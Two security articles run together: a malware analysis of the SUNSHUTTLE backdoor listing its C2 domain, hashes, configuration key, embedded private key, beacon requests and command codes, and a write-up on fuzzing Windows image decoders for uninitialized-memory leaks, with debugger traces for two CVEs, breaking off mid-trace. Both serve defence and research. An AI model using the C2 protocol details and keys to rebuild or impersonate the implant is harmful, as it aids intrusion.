Mandiant Threat Intelligence discovered a sample of the SUNSHUTTLE backdoor uploaded to an online multi-Antivirus scan service. SUNSHUTTLE is a backdoor, written in GO, that reads an embedded or local configuration file, communicates with its C2 server over HTTPS and supports commands including remotely updating its configuration, file upload and download, and arbitrary command execution.

• Lexicon.exe (MD5: 9466c865f7498a35e4e1a8f48ef1dffd)
• C2: reyweb[.]com
• UNAVAILABLE (MD5: 86e89349fefcbdd9d2c80ca30fa85511)
• Unpacked version of 9466c865f7498a35e4e1a8f48ef1dffd

#### Infection Vector

For the samples analyzed, the infection vector is not known.

#### Execution

Execution Summary

SUNSHUTTLE is a backdoor written in GoLang. Once SUNSHUTTLE is executed, a high-level description of the execution is the following:

• Configuration settings determined
• Request a “session key” from the C2
• Retrieve the “session key” from the C2
• Once a session key is retrieved, SUNSHUTTLE begins command request beaconing loop
• Begin command request beaconing
• Resolve command and perform action

The SUNSHUTTLE sample analyzed retains the names of the routines used by the malware, which include the following:

Note: Throughout the SUNSHUTTLE backdoor, unique string identifiers are used to indicate the operation being performed to the C2 via a Cookie header, and unique string identifiers are also used to validate and parse response content from the C2. These unique string values are thought to be unique and random per compiled sample.

Initial Execution

Once executed, the SUNSHUTTLE backdoor enumerates the victim’s MAC address and compares it to a hardcoded MAC address value “c8:27:cc:c2:37:5a”. If a match is found the backdoor exits. The MAC address is likely a default MAC address for the Windows sandbox network adapter.

Configuration

If the check is successful, the SUNSHUTTLE backdoor then enters a routine named “﻿main_define_internal_settings”, which handles creation of the configuration file if one doesn’t already exist in the directory from which SUNSHUTTLE is running. For the sample analyzed, the configuration filename is “config.dat.tmp”. The configuration data is Base64 encoded and AES-256 encrypted using the following key:

hz8l2fnpvp71ujfy8rht6b0smouvp9k8

The configuration has the following example values when Base64 decoded and AES decrypted:

48b9e25491e088a35105274cae0b9e67|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2V
ja28vMjAxMDAxMDEgRmlyZWZveC83NS4w

The configuration holds several values delimited by a “|” character, which are briefly described as follows.

• 48b9e25491e088a35105274cae0b9e67
• MD5 hash of the current timestamp calculated during execution.
• 5-15
• Lower/upper limits used to randomly generate sleep times as SUNSHUTTLE executes
• 0
• 0 or 1 — Utilize “blend-in” traffic requests. Internally called “false_requesting”
• 0
• Activate execution timestamp (0 by default) — execution "activates" or continues if current time is greater than the value in the configuration
• TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja2
8vMjAxMDAxMDEgRmlyZWZveC83NS4w
• Base64-encoded User-agent used in HTTPS requests
• Decoded: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0

If set in the configuration, the “blend-in” traffic occurs as the malware executes and transitions through its routines. The following URLs are leveraged for the “blend-in” requests:

• https://reyweb[.]com/icon.ico
• https://reyweb[.]com/icon.png
• https://reyweb[.]com/script.js
• https://reyweb[.]com/style.css
• https://reyweb[.]com/css/style.css
• https://reyweb[.]com/css/bootstrap.css
• https://reyweb[.]com/scripts/jquery.js
• https://reyweb[.]com/scripts/bootstrap.js
• https://cdn.mxpnl[.]com/
• https://cdn.jquery[.]com/
• https://code.jquery[.]com/
• https://cdn.cloudflare[.]com/

Session Key Mechanism

SUNSHUTTLE performs initial requests to the C2 in order to request and then retrieve what it internally refers to as a session key. The retrieved session key from the C2 appears to be RSA decrypted using the following private key that is embedded in SUNSHUTTLE and believed to be unique per compiled sample. Analysis is on-going on how the decrypted session key is used, but it is likely a session key used to encrypt content once SUNSHUTTLE transitions to its command-and-control routines.

-----BEGIN PRIVATE KEY-----
MIIEowIBAAKCAQEA0Aj/3K3m/rKNESwUfHC9qAhnsNYA9bJ4HQ30DPsfPDvbbHZm
S1JiDUgydz5VXJR/esv6hB7GMfEb/3sIAzv5qcwEvGK5HH1EzQ7zjauyhbsF9pHR
zCFYlvW4OtaU0o3xjVufo5UwYRS5p/EFpof45zuJGLJ02cKUmxc0OX53t3Bn9WXY
uTAN+dEkV6ZoHFRjpdU+lrY+IiWi5lSed4d7y73OdCeM23xOaiB9KpchwsgRNeDp
cieH54EWNvoSYbC9fRBiNZrT/NG1Xu5s0rKSM1AU+kes7UVl5DBs4hHI7YOeobRi
zSafD5eBDH3Izmblg0kXiidec1A1sytz5u8xW4XckHfp4xePLVw/RvLJGqNJMK5M
7tXAFwPzg+u4k7ce7uNw9VWW7n28T9xznUux1gtPQj1N6goDaBaOqY+h0ia9F1RP
wu6ZtG0CgYEA8vCFmAGmMz4vjO04ELyPnvnaS6CReYCVzmvNugIDlxBLDGCnKBVx
et7qEk3gMkbtcDUOZpXQAIVCWQNupAhI0t5bb/Pfw3HtH3Xt5NRUYmwxTgNRe06D
i4ICsg2+8TDinjne9hzsEe9DYE2WRrtLMJ+IPD+QE94J3Sei03k1wpMCgYEA2zga
Tff6jQeNn9G0ipHa1DvJmi98px51o0r7TUfZRxJfgg4ckyMsZUHKALrZszKAnxP7
MXYrJuOHpsp0EZc1e3uTjFzrKyKRTQ78c7MNGv07w1PlZuNLtkoqepUjkQzdxKZO
g9gG0O4lC5jjnSg8jUSChhZn+jrU8Vx7ByOP98MCgYAWi5+6RZzo8IJ1L6aeVwF1
HXbWweX+QqKkb3i+JGW05Twxv96DZ8oKPxm17Sg7Qj3Sxfm6J3kQM02++QSRkHtB
poUR1K4Vc0MwQj97lwDlyWih9sjfCqBGmCAr6f6oX4MIcBJzAKgf2faEv26MzeDi
eEuqW7PBRD/iGEWSHpOQpQKBgQDRgV+aTjk0mRhfugHKQLSbCnyUj3eZG8IfiiR7
agQcKVH/sE7cy8u9Bc/xPKGb4dMMtQLm9WEuLFtTKr8cpJ8nYSXVCmRx9/pXY9Af
HuqSdZutBDwERYvxLhZEys2P7XTwYGQ/GrEA8eeTms1FP9QGyofXcAh1G86w0Mp/
Oxx3EwKBgHXxgQa4/ngTlMNhWP+IvHOlOVAxDK2GL3XQdr8fudZe9c1d7VzIbYj6
gbwLT9qi0wG5FAWqH163XucAirT6WCtAJ3tK0lfbS7oWJ7L/Vh1+vOe6jfS/nQna
Ao2QPbN8RiltHeaAq0ZfrgwrQuP5fmigmBa5lOWID/eU2OLlvJGi
-----END PRIVATE KEY---

After the configuration is created or read from, SUNSHUTTLE enters a routine named “﻿main_request_session_key”. The malware will iterate over this routine until it’s successful, sleeping a period of time after each iteration.

Inside the “﻿main_request_session_key” routine, SUNSHUTTLE constructs an HTTPS request to its configured C2. Upon an HTTP 200 response from the request, the response data from the C2 is expected to not contain the following string for the sample analyzed:

• ywQdjLuHHC

The request_session_key routine returns a 1 if the string is not in the response and a -1 if it is in the response. If the result of the request_session_key is 1, SUNSHUTTLE will execute the retrieve_session_key routine.

The retrieve_session_key routine again contacts the C2 and downloads content that is expected to be decrypted by the aforementioned embedded private key. The decrypted content is likely a session key used to encrypt content once SUNSHUTTLE transitions to its command-and-control routines.

Commanding

Once a session key is retrieved from the C2, SUNSHUTTLE begins the beaconing and “resolve_command” routines in a loop. SUNSHUTTLE first issues a beacon to retrieve a command. After, SUNSHUTTLE will enter the routine “resolve_command”, which parses the response content to determine which command should be run. Available commands include remotely updating its configuration, file upload and download, and arbitrary command execution.

Figure 2: Resolve command graph

The content returned from the C2 after the “main_beaconing” routine is Base64 decoded and AES decrypted. A check is performed to ensure the decrypted content doesn’t contain the following string:

• Cp5RTQ31R1

As noted, it is likely these strings are unique per sample and randomly generated at compilation.

The decrypted content is parsed for certain unique strings.﻿

 Unique string in decrypted response Meaning zSsP2TSJJm3a Update sleep range — save config ﻿aQJmWJzXdYK721mGBI3U Update “false requesting” value – save config ﻿W5VYP9Iu2uyHK Update C2 URL and User-agent – save config ﻿3487wD9t2OZkvqdwRpqPeE Send current timestamp to C2 ﻿ubFxROBRwfswVRWNjLC Update "activation" timestamp in the config — save config ﻿TMuhGdA9EHY Upload file to C2 if the file exists 1kG4NaRX83BCMgLo38Bjq Execute command – return “EXECED” if successful hB0upT6CUmdRaR2KVBvxrJ Execute command – return results/output N/A (other string criteria met) Provides terminal command execution N/A (other string criteria met) Download file from C2

#### Files Dropped

After successful execution of the malware, it drops the following files to the victim’s system:

• <current_directory>\config.dat.tmp (MD5: Dynamic)
• Encrypted configuration file

#### Persistence Method

The SUNSHUTTLE malware was not observed setting its own persistence. It is likely the persistence is set outside of the execution of SUNSHUTTLE.

#### Network Communications

SUNSHUTTLE uses the cookie header to pass values to the C2. Additionally, a referrer is selected from the following list, presumably to make the traffic blend in if traffic is being decrypted for inspection:

• www.bing.com
• www.yahoo.com

The cookie headers vary slightly depending on the operation being performed. The following is an example request to the C2 from the “request_session_key” routine.

Victim to C2
GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept-Encoding: gzip

• HjELmFxKJc=48b9e25491e088a35105274cae0b9e67
• Timestamp MD5 contained within the configuration
• P5hCrabkKf=gZLXIeKI
• “P5hCrabkKf=” contains a unique string based on which routine is performing the request (see the following table).
• iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx
• “i4zICToyI70Yeidf1f7rWjm5foKX2Usx” is hard coded within the SUNSHUTTLE backdoor. It possibly represents a payload identifier
• b7XCoFSvs1YRW=78
• Unknown purpose. This value is only included in request_session_key and retrieve_session_key requests.

As mentioned, the cookie value “P5hCrabkKf=” contained in each request signifies the operation that is being performed.

 “P5hCrabkKf=” Cookie Value Meaning gZLXIeK main_request_session_key do1KiqzhQ main_clean_file t5UITQ2PdFg5 main_wget_file cIHiqD5p4da6OeB main_retrieve_session_key xpjQVt3bJzWuv main_send_file_part S4rgG1WifHU main_send_command_result

After successful installation / initialization of the malware, it proceeds to make the following callback to the C2 server reyweb[.]com via TCP/443 HTTPS:

Victim to C2
GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept-Encoding: gzip

Victim to C2
GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.yahoo.com
Accept-Encoding: gzip

Additionally, if the “fake_requesting” configuration value is set to 1, SUNSHUTTLE will generate traffic meant to blend in with real traffic. Examples of those requests are as follows:

Victim to C2
GET /icon.png HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept-Encoding: gzip

Victim to C2
GET /css/style.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept-Encoding: gzip

Victim to C2
GET /css/bootstrap.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept-Encoding: gzip

Victim to Legitimate
GET / HTTP/1.1
Host: cdn.cloudflare[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept-Encoding: gzip

#### Appendix: MITRE ATT&CK Framework

 Technique Description T1027 Obfuscated Files or Information T1027.002 Software Packing T1059.003 Windows Command Shell T1071.001 Web Protocols T1105 Ingress Tool Transfer T1140 Deobfuscate/Decode Files or Information T1573.001 Symmetric Cryptography

#### Appendix: Detecting the Techniques

FireEye security solutions provide detection of the SUNSHUTTLE activity across email, endpoint and network levels. The following is a snapshot of existing detections related to activity outlined in this blog post.

 Platform(s) Detection Name Network Security Email Security Detection On Demand Malware File Scanning Malware File Storage Scanning FE_APT_Backdoor_Win64_SUNSHUTTLE_1 FE_APT_Backdoor_Win_SUNSHUTTLE_1 APT.Backdoor.Win.SUNSHUTTLE APT.Backdoor.Win.SUNSHUTTLE.MVX Endpoint Security Malware Protection (AV/MG) Trojan.GenericKD.34453763 Generic.mg.9466c865f7498a35

# Fuzzing Image Parsing in Windows, Part Two: Uninitialized Memory

3 March 2021 at 19:30

Continuing our discussion of image parsing vulnerabilities in Windows, we take a look at a comparatively less popular vulnerability class: uninitialized memory. In this post, we will look at Windows’ inbuilt image parsers—specifically for vulnerabilities involving the use of uninitialized memory.

#### The Vulnerability: Uninitialized Memory

In unmanaged languages, such as C or C++, variables are not initialized by default. Using uninitialized variables causes undefined behavior and may cause a crash. There are roughly two variants of uninitialized memory:

• Direct uninitialized memory usage: An uninitialized pointer or an index is used in read or write. This may cause a crash.
• Information leakage (info leak) through usage of uninitialized memory: Uninitialized memory content is accessible across a security boundary. An example: an uninitialized kernel buffer accessible from user mode, leading to information disclosure.

In this post we will be looking closely at the second variant in Windows image parsers, which will lead to information disclosure in situations such as web browsers where an attacker can read the decoded image back using JavaScript.

#### Detecting Uninitialized Memory Vulnerabilities

Compared to memory corruption vulnerabilities such as heap overflow and use-after-free, uninitialized memory vulnerabilities on their own do not access memory out of bound or out of scope. This makes detection of these vulnerabilities slightly more complicated than memory corruption vulnerabilities. While direct uninitialized memory usage can cause a crash and can be detected, information leakage doesn’t usually cause any crashes. Detecting it requires compiler instrumentations such as MemorySanitizer or binary instrumentation/recompilation tools such as Valgrind.

#### Detour: Detecting Uninitialized Memory in Linux

Let's take a little detour and look at detecting uninitialized memory in Linux and compare with Windows’ built-in capabilities. Even though compilers warn about some uninitialized variables, most of the complicated cases of uninitialized memory usage are not detected at compile time. For this, we can use a run-time detection mechanism. MemorySanitizer is a compiler instrumentation for both GCC and Clang, which detects uninitialized memory reads. A sample of how it works is given in Figure 1.

 $cat sample.cc #include int main() { int *arr = new int[10]; if(arr[3] == 0) { printf("Yay!\n"); } printf("%08x\n", arr[3]); return 0; }$ clang++ -fsanitize=memory -fno-omit-frame-pointer -g sample.cc $./a.out ==29745==WARNING: MemorySanitizer: use-of-uninitialized-value #0 0x496db8 (/home/dan/uni/a.out+0x496db8) #1 0x7f463c5f1bf6 (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #2 0x41ad69 (/home/dan/uni/a.out+0x41ad69) SUMMARY: MemorySanitizer: use-of-uninitialized-value (/home/dan/uni/a.out+0x496db8) Exiting Figure 1: MemorySanitizer detection of uninitialized memory Similarly, Valgrind can also be used to detect uninitialized memory during run-time. #### Detecting Uninitialized Memory in Windows Compared to Linux, Windows lacks any built-in mechanism for detecting uninitialized memory usage. While Visual Studio and Clang-cl recently introduced AddressSanitizer support, MemorySanitizer and other sanitizers are not implemented as of this writing. Some of the useful tools in Windows to detect memory corruption vulnerabilities such as PageHeap do not help in detecting uninitialized memory. On the contrary, PageHeap fills the memory allocations with patterns, which essentially makes them initialized. There are few third-party tools, including Dr.Memory, that use binary instrumentation to detect memory safety issues such as heap overflows, uninitialized memory usages, use-after-frees, and others. #### Detecting Uninitialized Memory in Image Decoding Detecting uninitialized memory in Windows usually requires binary instrumentation, especially when we do not have access to source code. One of the indicators we can use to detect uninitialized memory usage, specifically in the case of image decoding, is the resulting pixels after the image is decoded. When an image is decoded, it results in a set of raw pixels. If image decoding uses any uninitialized memory, some or all of the pixels may end up as random. In simpler words, decoding an image multiple times may result in different output each time if uninitialized memory is used. This difference of output can be used to detect uninitialized memory and aid writing a fuzzing harness targeting Windows image decoders. An example fuzzing harness is presented in Figure 2.  #define ROUNDS 20 unsigned char* DecodeImage(char *imagePath) { unsigned char *pixels = NULL; // use GDI or WIC to decode image and get the resulting pixels ... ... return pixels; } void Fuzz(char *imagePath) { unsigned char *refPixels = DecodeImage(imagePath); if(refPixels != NULL) { for(int i = 0; i < ROUNDS; i++) { unsigned char *currPixels = DecodeImage(imagePath); if(!ComparePixels(refPixels, currPixels)) { // the reference pixels and current pixels don't match // crash now to let the fuzzer know of this file CrashProgram(); } free(currPixels); } free(refPixels); } } Figure 2: Diff harness The idea behind this fuzzing harness is not entirely new; previously, lcamtuf used a similar idea to detect uninitialized memory in open-source image parsers and used a web page to display the pixel differences. #### Fuzzing With the diffing harness ready, one can proceed to look for the supported image formats and gather corpuses. Gathering image files for corpus is considerably easy given the near unlimited availability on the internet, but at the same time it is harder to find good corpuses among millions of files with unique code coverage. Code coverage information for Windows image parsing is tracked from WindowsCodecs.dll. Note that unlike regular Windows fuzzing, we will not be enabling PageHeap this time as PageHeap “initializes” the heap allocations with patterns. #### Results During my research, I found three cases of uninitialized memory usage while fuzzing Windows built-in image parsers. Two of them are explained in detail in the next sections. Root cause analysis of uninitialized memory usage is non-trivial. We don’t have a crash location to back trace, and have to use the resulting pixel buffer to back trace to find the root cause—or use clever tricks to find the deviation. ### CVE-2020-0853 Let’s look at the rendering of the proof of concept (PoC) file before going into the root cause of this vulnerability. For this we will use lcamtuf’s HTML, which loads the PoC image multiple times and compares the pixels with reference pixels. Figure 3: CVE-2020-0853 As we can see from the resulting images (Figure 3), the output varies drastically in each decoding and we can assume this PoC leaks a lot of uninitialized memory. To identify the root cause of these vulnerabilities, I used Time Travel Debugging (TTD) extensively. Tracing back the execution and keeping track of the memory address is a tedious task, but TTD makes it only slightly less painful by keeping the addresses and values constant and providing unlimited forward and backward executions. After spending quite a bit of time debugging the trace, I found the source of uninitialized memory in windowscodecs!CFormatConverter::Initialize. Even though the source was found, it was not initially clear why this memory ends up in the calculation of pixels without getting overwritten at all. To solve this mystery, additional debugging was done by comparing PoC execution trace against a normal TIFF file decoding. The following section shows the allocation, copying of uninitialized value to pixel calculation and the actual root cause of the vulnerability. #### Allocation and Use of Uninitialized Memory windowscodecs!CFormatConverter::Initialize allocates 0x40 bytes of memory, as shown in Figure 4.  0:000> r rax=0000000000000000 rbx=0000000000000040 rcx=0000000000000040 rdx=0000000000000008 rsi=000002257a3db448 rdi=0000000000000000 rip=00007ffaf047a238 rsp=000000ad23f6f7c0 rbp=000000ad23f6f841 r8=000000ad23f6f890 r9=0000000000000010 r10=000002257a3db468 r11=000000ad23f6f940 r12=000000000000000e r13=000002257a3db040 r14=000002257a3dbf60 r15=0000000000000000 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 windowscodecs!CFormatConverter::Initialize+0x1c8: 00007ffaf047a238 ff15ea081200 call qword ptr [windowscodecs!_imp_malloc (00007ffaf059ab28)] ds:00007ffaf059ab28={msvcrt!malloc (00007ffaf70e9d30)} 0:000> k # Child-SP RetAddr Call Site 00 000000ad23f6f7c0 00007ffaf047c5fb windowscodecs!CFormatConverter::Initialize+0x1c8 01 000000ad23f6f890 00007ffaf047c2f3 windowscodecs!CFormatConverter::Initialize+0x12b 02 000000ad23f6f980 00007ff634ca6dff windowscodecs!CFormatConverterResolver::Initialize+0x273 //Uninitialized memory after allocation: 0:000> db @rax 000002257a3dbf70 d0 b0 3d 7a 25 02 00 00-60 24 3d 7a 25 02 00 00 ..=z%...$=z%... 000002257a3dbf80  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 000002257a3dbf90  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 000002257a3dbfa0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 000002257a3dbfb0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 000002257a3dbfc0  00 00 00 00 00 00 00 00-64 51 7c 26 c3 2c 01 03  ........dQ|&.,.. 000002257a3dbfd0  f0 00 2f 6b 25 02 00 00-f0 00 2f 6b 25 02 00 00  ../k%...../k%... 000002257a3dbfe0  60 00 3d 7a 25 02 00 00-60 00 3d 7a 25 02 00 00  .=z%....=z%...

Figure 4: Allocation of memory

The memory never gets written and the uninitialized values are inverted in windowscodecs!CLibTiffDecoderBase::HrProcessCopy and further processed in windowscodecs!GammaConvert_16bppGrayInt_128bppRGBA and in later called scaling functions.

As there is no read or write into uninitialized memory before HrProcessCopy, I traced the execution back from HrProcessCopy and compared the execution traces with a normal tiff decoding trace. A difference was found in the way windowscodecs!CLibTiffDecoderBase::UnpackLine behaved with the PoC file compared to a normal TIFF file, and one of the function parameters in UnpackLine was a pointer to the uninitialized buffer.

The UnpackLine function has a series of switch-case statements working with bits per sample (BPS) of TIFF images. In our PoC TIFF file, the BPS value is 0x09—which is not supported by UnpackLine—and the control flow never reaches a code path that writes to the buffer. This is the root cause of the uninitialized memory, which gets processed further down the pipeline and finally shown as pixel data.

#### Patch

After presenting my analysis to Microsoft, they decided to patch the vulnerability by making the files with unsupported BPS values as invalid. This avoids all decoding and rejects the file in the very early phase of its loading.

#### CVE-2020-1397

Figure 5: Rendering of CVE-2020-1397

Unlike the previous vulnerability, the difference in the output is quite limited in this one, as seen in Figure 5. One of the simpler root cause analysis techniques that can be used to figure out a specific type of uninitialized memory usage is comparing execution traces of runs that produce two different outputs. This specific technique can be helpful when an uninitialized variable causes a control flow change in the program and that causes a difference in the outputs. For this, a binary instrumentation script was written, which logged all the instructions executed along with its registers and accessed memory values.

Diffing two distinct execution traces by comparing the instruction pointer (RIP) value, I found a control flow change in windowscodecs!CCCITT::Expand2DLine due to a usage of an uninitialized value. Back tracing the uninitialized value using TTD trace was exceptionally useful for finding the root cause. The following section shows the allocation, population and use of the uninitialized value, which leads to the control flow change and deviance in the pixel outputs.

#### Allocation

windowscodecs!TIFFReadBufferSetup allocates 0x400 bytes of memory, as shown in Figure 6.

 windowscodecs!TIFFReadBufferSetup:     ...     allocBuff = malloc(size);     *(v3 + 16) |= 0x200u;     *(v3 + 480) = allocBuff; 0:000> k  # Child-SP          RetAddr           Call Site 00 000000aaa654f128 00007ff94404d4f3 windowscodecs!TIFFReadBufferSetup 01 000000aaa654f130 00007ff94404d3c9 windowscodecs!TIFFFillStrip+0xab 02 000000aaa654f170 00007ff94404d2dc windowscodecs!TIFFReadEncodedStrip+0x91 03 000000aaa654f1b0 00007ff9440396dd windowscodecs!CLibTiffDecoderBase::ReadStrip+0x74 04 000000aaa654f1e0 00007ff944115fca windowscodecs!CLibTiffDecoderBase::GetOneUnpackedLine+0x1ad 05 000000aaa654f2b0 00007ff944077400 windowscodecs!CLibTiffDecoderBase::HrProcessCopy+0x4a 06 000000aaa654f2f0 00007ff944048dbb windowscodecs!CLibTiffDecoderBase::HrReadScanline+0x20 07 000000aaa654f320 00007ff944048b40 windowscodecs!CDecoderBase::CopyPixels+0x23b 08 000000aaa654f3d0 00007ff944043c95 windowscodecs!CLibTiffDecoderBase::CopyPixels+0x80 09 000000aaa654f4d0 00007ff94404563b windowscodecs!CDecoderFrame::CopyPixels+0xb5   After allocation: 0:000> !heap -p -a @rax     address 0000029744382140 found in     _HEAP @ 29735190000               HEAP_ENTRY Size Prev Flags            UserPtr UserSize - state         0000029744382130 0041 0000  [00]   0000029744382140    00400 - (busy)           unknown!noop //Uninitialized memory after allocation         0:000> db @rax 0000029744382140  40 7c 5e 97 29 5d 5f ae-73 31 98 70 b8 4f da ac  @|^.)]_.s1.p.O.. 0000029744382150  06 51 54 18 2e 2a 23 3a-4f ab 14 27 e9 c6 2c 83  .QT..*#:O..'..,. 0000029744382160  3a 25 b2 f6 9d e7 3c 09-cc a5 8e 27 b0 73 41 a9  :%....<....'.sA. 0000029744382170  fb 9b 02 b5 81 3e ea 45-4c 0f ab a7 72 e3 21 e7  .....>.EL...r.!. 0000029744382180  c8 44 84 3b c3 b5 44 8a-c9 6e 4b 2e 40 31 38 e0  .D.;[email protected] 0000029744382190  85 f0 bd 98 3b 0b ca b8-78 b1 9d d0 dd 4d 61 66  ....;...x....Maf 00000297443821a0  16 7d 0a e2 40 fa f8 45-4f 79 ab 95 d8 54 f9 44  .}[email protected] 00000297443821b0  66 26 28 00 b7 96 52 88-15 f0 ed 34 94 5f 6f 94  f&(...R....4._o.

Figure 6: Allocation of memory

#### Partially Populating the Buffer

0x10 bytes are copied from the input file to this allocated buffer by TIFFReadRawStrip1. The rest of the buffer remains uninitialized with random values, as shown in Figure 7.

 if ( !TIFFReadBufferSetup(v2, a2, stripCount) ) {       return 0i64; } if ( TIFFReadRawStrip1(v2, v3, sizeToReadFromFile, "TIFFFillStrip") != sizeToReadFromFile )   0:000> r rax=0000000000000001 rbx=000002973519a7e0 rcx=000002973519a7e0 rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000010 rip=00007ff94404d58c rsp=000000aaa654f128 rbp=0000000000000000  r8=0000000000000010  r9=00007ff94416fc38 r10=0000000000000000 r11=000000aaa654ef60 r12=0000000000000001 r13=0000000000000000 r14=0000029744377de0 r15=0000000000000001 iopl=0         nv up ei pl nz na pe nc cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202 windowscodecs!TIFFReadRawStrip1: 00007ff94404d58c 488bc4          mov     rax,rsp 0:000> k  # Child-SP          RetAddr           Call Site 00 000000aaa654f128 00007ff94404d491 windowscodecs!TIFFReadRawStrip1 01 000000aaa654f130 00007ff94404d3c9 windowscodecs!TIFFFillStrip+0x49 02 000000aaa654f170 00007ff94404d2dc windowscodecs!TIFFReadEncodedStrip+0x91 03 000000aaa654f1b0 00007ff9440396dd windowscodecs!CLibTiffDecoderBase::ReadStrip+0x74 04 000000aaa654f1e0 00007ff944115fca windowscodecs!CLibTiffDecoderBase::GetOneUnpackedLine+0x1ad 05 000000aaa654f2b0 00007ff944077400 windowscodecs!CLibTiffDecoderBase::HrProcessCopy+0x4a 06 000000aaa654f2f0 00007ff944048dbb windowscodecs!CLibTiffDecoderBase::HrReadScanline+0x20 07 000000aaa654f320 00007ff944048b40 windowscodecs!CDecoderBase::CopyPixels+0x23b 08 000000aaa654f3d0 00007ff944043c95 windowscodecs!CLibTiffDecoderBase::CopyPixels+0x80 09 000000aaa654f4d0 00007ff94404563b windowscodecs!CDecoderFrame::CopyPixels+0xb5 0:000> db 0000029744382140 0000029744382140  5b cd 82 55 2a 94 e2 6f-d7 2d a5 93 58 23 00 6c  [..U*..o.-..X#.l             // 0x10 bytes from file 0000029744382150  06 51 54 18 2e 2a 23 3a-4f ab 14 27 e9 c6 2c 83  .QT..*#:O..'..,.             // uninitialized memory 0000029744382160  3a 25 b2 f6 9d e7 3c 09-cc a5 8e 27 b0 73 41 a9  :%....<....'.sA. 0000029744382170  fb 9b 02 b5 81 3e ea 45-4c 0f ab a7 72 e3 21 e7  .....>.EL...r.!. 0000029744382180  c8 44 84 3b c3 b5 44 8a-c9 6e 4b 2e 40 31 38 e0  .D.;[email protected] 0000029744382190  85 f0 bd 98 3b 0b ca b8-78 b1 9d d0 dd 4d 61 66  ....;...x....Maf 00000297443821a0  16 7d 0a e2 40 fa f8 45-4f 79 ab 95 d8 54 f9 44  .}[email protected] 00000297443821b0  66 26 28 00 b7 96 52 88-15 f0 ed 34 94 5f 6f 94  f&(...R....4._o.

Figure 7: Partial population of memory

#### Use of Uninitialized Memory

 0:000> r rax=0000000000000006 rbx=0000000000000007 rcx=0000000000000200 rdx=0000000000011803 rsi=0000029744382150 rdi=0000000000000000 rip=00007ff94414e837 rsp=000000aaa654f050 rbp=0000000000000001  r8=0000029744382550  r9=0000000000000000 r10=0000000000000008 r11=0000000000000013 r12=00007ff94418b7b0 r13=0000000000000003 r14=0000000023006c00 r15=00007ff94418bbb0 iopl=0         nv up ei pl nz na po nc cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206 windowscodecs!CCCITT::Expand2DLine+0x253: 00007ff94414e837 0fb606          movzx   eax,byte ptr [rsi] ds:0000029744382150=06             ; Uninitialized memory being accessed   0:000> db 0000029744382140 0000029744382140  5b cd 82 55 2a 94 e2 6f-d7 2d a5 93 58 23 00 6c  [..U*..o.-..X#.l             // 0x10 bytes from file 0000029744382150  06 51 54 18 2e 2a 23 3a-4f ab 14 27 e9 c6 2c 83  .QT..*#:O..'..,.             // uninitialized memory 0000029744382160  3a 25 b2 f6 9d e7 3c 09-cc a5 8e 27 b0 73 41 a9  :%....<....'.sA. 0000029744382170  fb 9b 02 b5 81 3e ea 45-4c 0f ab a7 72 e3 21 e7  .....>.EL...r.!. 0000029744382180  c8 44 84 3b c3 b5 44 8a-c9 6e 4b 2e 40 31 38 e0  .D.;[email protected] 0000029744382190  85 f0 bd 98 3b 0b ca b8-78 b1 9d d0 dd 4d 61 66  ....;...x....Maf 00000297443821a0  16 7d 0a e2 40 fa f8 45-4f 79 ab 95 d8 54 f9 44  .}[email protected] 00000297443821b0  66 26 28 00 b7 96 52 88-15 f0 ed 34 94 5f 6f 94  f&(...R....4._o.   0:000> k  # Child-SP          RetAddr           Call Site 00 000000aaa654f050 00007ff94414df80 windowscodecs!CCCITT::Expand2DLine+0x253 01 000000aaa654f0d0 00007ff94412afcc windowscodecs!CCCITT::CCITT_Expand+0xac 02 000000aaa654f120 00007ff94404d3f0 windowscodecs!CCITTDecode+0x7c 03 000000aaa654f170 00007ff94404d2dc windowscodecs!TIFFReadEncodedStrip+0xb8 04 000000aaa654f1b0 00007ff9440396dd windowscodecs!CLibTiffDecoderBase::ReadStrip+0x74 05 000000aaa654f1e0 00007ff944115fca windowscodecs!CLibTiffDecoderBase::GetOneUnpackedLine+0x1ad 06 000000aaa654f2b0 00007ff944077400 windowscodecs!CLibTiffDecoderBase::HrProcessCopy+0x4a 07 000000aaa654f2f0 00007ff944048dbb windowscodecs!CLibTiffDecoderBase::HrReadScanline+0x20 08 000000aaa654f320 00007ff944048b40 windowscodecs!CDecoderBase::CopyPixels+0x23b 09 000000aaa654f3d0 00007ff944043c95 windowscodecs!CLibTiffDecoderBase::CopyPixels+0x80 0a 000000aaa654f4d0 